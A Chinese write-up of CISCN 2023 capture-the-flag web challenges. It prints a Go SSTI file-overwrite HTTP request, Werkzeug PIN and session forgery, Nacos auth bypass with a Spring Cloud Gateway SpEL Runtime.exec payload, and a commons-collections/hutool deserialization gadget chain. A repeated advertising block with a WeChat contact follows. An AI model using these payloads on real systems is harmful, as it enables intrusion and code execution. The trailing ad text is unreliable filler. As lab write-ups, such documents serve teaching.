[2023CISCN]国赛初赛WEB题目复现_2023国赛初赛unzip题目复现(1)

将哈希值转换为16进制的字符串形式，并从中取出前20个字符。然后，它前面添加了"__wzd"前缀来生成最终的cookie_name。

再通过查找cookie_name关键字，找到set_cookie方法

通过观察可知，cookie的值是通过时间戳+pin码的hash，由"|"符号拼接而来的

再去看看验证逻辑

def check_pin_trust(self, environ: WSGIEnvironment) -> bool | None:
“”“Checks if the request passed the pin test. This returns True if the
request is trusted on a pin/cookie basis and returns False if not.
Additionally if the cookie’s stored pin hash is wrong it will return
None so that appropriate action can be taken.
“””
if self.pin is None:
return True
val = parse_cookie(environ).get(self.pin_cookie_name)
if not val or “|” not in val:
return False
ts_str, pin_hash = val.split(“|”, 1)

try:
ts = int(ts_str)
except ValueError:
return False

if pin_hash != hash_pin(self.pin):
return None
return (time.time() - PIN_TIME) < ts

不难看出，由于时间戳是明文，所以伪造一个大一点的时间戳即可绕过检验。因为hash算法就在代码里，所以下后面就是如何找出伪造pin码的几个要素。

一般来说，需要通过报错来获取信息，但是不管对name怎么fuzz，由于传参限制都无法报错。看了其他师傅的wp后才发现，可以使得name参数为空来报错。。。。

报错信息中，有用的除了一些路径外,值得注意的是这几行

File “/app/server.py”, line 7, in index

app = Flask(name)

@app.route(‘/’)
def index():
name = request.args[‘name’]
return name + " no ssti"

if name == “__main__”:
app.run(host=“127.0.0.1”, port=5000, debug=True)

无法ssti，也没什么用。

又坐牢了一段时间，无奈之下又只能瞅一瞅师傅们的wp，好家伙，原来SESSION_KEY是空的，逗人玩呢。

那就修改一下Admin的路由，用来获取admin的session

session.Values[“name”] = “admin”
err = session.Save(c.Request, c.Writer)

拿着伪造的session去访问靶机的admin路由，提示我们用ssti，那就ssti

经过检验确实存在ssti，但这里不是python的ssti，是go的ssti，网上大多提到了{{.}}来获取全局变量，但对这道题来说没什么用

换个思路，既然ssti是代码执行的话，那就用go来进行RCE不就行了

但是xssWaf := html.EscapeString(name)会转义引号，所以payload里不能用引号，寻找思路类似于PHP的无字母数字RCE

前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload)，思路转换为替换server.py文件，需要用到以下几个方法:

c.SaveUploadedFile(file *multipart.FileHeader, dst string)

保存上传的文件

c.FormFile(name string)

获取上传的文件

c.HandlerName()

获取正在处理的路由的处理函数名称,这里为main.Admin

c.Request.Referer():

获取Referer头

构造以下payload

c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())

最终HTTP请求体

GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1
Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Referer: /app/server.py
Connection: close
Cookie: session-name=MTY5NzE4NjkzMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwInXwlMhNgf5c-RWJSULVMGWSUrousqud2c8o96O0sDQ==;
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 408

–AaB03x
Content-Disposition: form-data; name=“main/route.Admin”; filename=“server.py”
Content-Type: text/plain

from flask import Flask, request, send_from_directory
import os
app = Flask(name)

@app.route(‘/a’, methods=[‘GET’])
def read_file_content():

return os.popen(“cat /th1s_1s_f13g”).read()

if name == ‘main’:
app.run(“0.0.0.0”,5000,debug=True)

–AaB03x–

BackendService

靶机环境为NACOS，查找相关漏洞

Nacos（Dynamic Naming and Configuration Service）是一个开源的、易于使用的平台，为微服务架构提供了服务发现、服务配置以及服务管理功能。

找到一个身份认证漏洞，伪造JWT获取token，然后登录即可达到后台

这里要注意需要拦截登录后的第一个响应，然后Drop掉，否则会跳转到json页面，导致无法进入后台

Nacos 身份认证绕过漏洞QVD-2023-6271

找到了一个命令执行漏洞，但是尝试后无果。

又找到一篇利用SpringCloudGateway+Nacos进行RCE的文章

Nacos结合Spring Cloud Gateway RCE利用 - 先知社区

作者还贴心的附上了环境搭建步骤，所以我们要先搭建好环境

首先看附件里的bootstrap.yml

spring:
cloud:
nacos:
config:
name: backcfg
file-extension: yaml
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8848
discovery:
server-addr: 127.0.0.1:8848

这里的配置文件貌似给错了，因为wp里是json，端口是8888

对应的作用如下

属性	意义
spring.cloud.nacos.config.name	Nacos配置的Data ID。它标识了配置的名称为backcfg。
spring.cloud.nacos.config.file-extension	指定Nacos配置的文件格式。在这里，文件格式被设定为yaml。
spring.cloud.nacos.config.group	Nacos配置的组名。此处的组名被设定为DEFAULT_GROUP。
spring.cloud.nacos.config.server-addr	Nacos服务的地址和端口。此处意味着Nacos运行在本地127.0.0.1地址的8848端口上。
spring.cloud.nacos.discovery.server-addr	Nacos服务发现功能的地址和端口。它也指向运行在127.0.0.1地址的8848端口的Nacos服务。

在这种情况下，Spring Cloud Gateway会去Nacos配置中心寻找一个名为backcfg的配置项，而这个配置项的格式是yaml。因此，Nacos要提供一个名为backcfg.yaml的文件内容给Spring Cloud Gateway。

所以我们需要先去配置管理->配置列表下增加一个新的配置文件，格式选为yaml，名称设置为backcfg。上传内容就是application.yaml中的内容

如果成功了，在监听查询中就会出现使用该配置的host信息

该yaml中的每个属性对应的作用如下：

属性	意义
spring.main.web-application-type	设置Spring Boot应用的类型为响应式。常用于WebFlux框架。
spring.application.name	定义应用的名称，此处为backendservice。
server.port	定义Spring Boot应用监听的端口，此处为18888。
management.endpoint.gateway.enabled	启用或禁用gateway端点，默认为true。用于获取网关的路由信息。
management.endpoints.web.exposure.include	指定哪些端点可以被暴露，此处只暴露了gateway端点。
management.endpoints.web.exposure.include (下面的)	指定哪些端点可以被暴露，此处使用*，表示暴露所有端点。
spring.main.allow-bean-definition-overriding	是否允许覆盖bean定义。当有多个bean定义时，此属性允许一个bean定义覆盖另一个。默认为false。
spring.cloud.gateway.routes	定义Spring Cloud Gateway的路由信息。
spring.cloud.gateway.routes.id	每个路由的唯一标识，此处为index。
spring.cloud.gateway.routes.uri	指定路由目标的URI。当请求匹配某个路由时，它会被转发到这个URI。此处为http://example.com。
spring.cloud.gateway.routes.predicates	路由断言定义。决定哪些请求可以被路由。在这里，任何请求路径为/example的请求都会匹配到这个路由。

但这道题的环境原因导致spring gateway我们无法访问，所以通过添加路由来访问的上述方法无法利用。

顺着文章再往下看，发现可以利用

spring:
cloud:
gateway:
routes:

• id: exam
  order: 0
  uri: lb://backendservice
  predicates:
• Path=/echo/**
  filters:
• name: AddResponseHeader
  args:
  name: result
  value: “#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{‘’}).getInputStream())).replaceAll(‘\n’,‘’).replaceAll(‘\r’,‘’)}”

但是不知道为什么，wp里说是json格式，并且其他师傅的配置文件中是指明json，但我的靶机里就是yaml。。。

还有个坑点就是既然我们无法直接访问gateway来知道结果的话，一般来说就会用curl来判断是否成功rce，但这道题的靶机没有安装curl，所以我一直以为是哪里搞错了。。

这道题做完后其实感觉并不难，但是毕竟没有接触过微服务的人一开始做的话很难理解。所以我尽量去理解了spring gateway和nacos的原理，配置选项，以及他们如何实现联动的，感觉和JNDI的中心化管理思想很类似，还算是有点收获

deserbug

题目给出了commons-collections-3.2.2.jar，因为大于3.1版本，也不是4.0版本，所以不能直接使用经典的CC链，比如在InvokerTransformer类中的readObject加了一行

FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")):class$org$apache$commons$collections$functors$InvokerTransformer);

其中，checkUnsafeSerialization方法会尝试获取系统变量enableUnsafeSerialization的值

System.getProperty(“org.apache.commons.collections.enableUnsafeSerialization”);

如果获取不到或者该系统变量不为true，则抛出异常UnsupportedOperationException

题目hint为：cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

原本以为是要在JSONObject.put执行时通过添加重复key来抛出异常

throw new JSONException(“Duplicate key “{}””, new Object[]{key});

然后通过捕获这个异常来进行利用，但我发现首先checkDuplicate这个值无法控制，并且在put中为false，所以无法抛出该异常，除此之外，即使捕获到了JSONException也无法进行后续利用

看了小绿草实验室的WP，从JSONObject的put方法开始，一步一步调试到某个类执行getter方法，通过getter方法触发getAnyexcept,也就是说，这个hint结合源码具有一定的迷惑性，会引导人的想法到通过触发异常来gadget

WP中使用的gadget如下：

HashMap->readObject()->hash()->TiedMapEntry()->hashCode()->getValue()->LazyMap()->get()->ConstantTransformer->transform()->JSONObject->put()->TrAXFilter->newTransformer()->getTransletInstance()->Evil.class.newInstance()
//当然，不止一个gadget，在后续会说到

这里就是经验的差距体现出来了，如果不熟练那几条CC链，这个gatget是凑不起来的，就比如hint提示要用JSONObject.put和getAnyexcept，我们肯定知道最终利用的是getAnyexcept来加载恶意类，类比fastjson，就要想到hutool的json也可能有类似getter和setter的机制(事后诸葛亮一下:) )

本题目要调用的getter如下：

而如何能找到能够调用Myexpect的getter，WP上说是一步步调试的，但这个调试也得需要点技巧。原因在于wrap方法:

public static Object wrap(Object object, JSONConfig jsonConfig) {
if (object == null) {
return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
} else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
try {
if (object instanceof SQLException) {
return object.toString();
} else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
if (object instanceof Enum) {
return object.toString();
} else {
return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
}
} else {
return object;
}
} else {
return new JSONObject(object, jsonConfig);
}
} else {
return new JSONArray(object, jsonConfig);
}
} catch (Exception var3) {
return null;
}
} else {
return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
}
}

从这个方法中可以提取出isIgnoreNullValue()，toString(),JSONArray(),getDateFormat(),getClass(),JSONObject()这几个方法，而这其中的一些方法还会嵌套其他方法，所以如果想挨个看的话很费精力。但我们可以初步淘汰几个，比如toString()，isIgnoreNullValue()这种稍微看一下就知道不能利用的。最后留下JSONObject()和JSONArray()，因为他们都会调用ObjectMapper.map()

//JSONArray.class
public JSONArray(Object object, JSONConfig jsonConfig, Filter<Mutable> filter) throws JSONException {
this(10, jsonConfig);
ObjectMapper.of(object).map(this, filter);
}

//JSONObject.class
public JSONObject(Object source, JSONConfig config, Filter<MutablePair<String, Object>> filter) {
this(16, config);
ObjectMapper.of(source).map(this, filter);

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话，可以联系领取~

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

2️⃣视频配套工具&国内外网安书籍、文档

① 工具

② 视频

③ 书籍

资源较为敏感，未展示全面，需要的最下面获取

② 简历模板

因篇幅有限，资料较为敏感仅展示部分资料，添加上方即可获取👆

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

nter)

② 简历模板

因篇幅有限，资料较为敏感仅展示部分资料，添加上方即可获取👆

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算